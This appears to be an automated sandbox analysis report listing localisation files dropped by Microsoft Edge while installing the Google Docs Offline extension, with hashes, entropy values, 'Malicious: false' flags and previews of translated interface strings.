Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
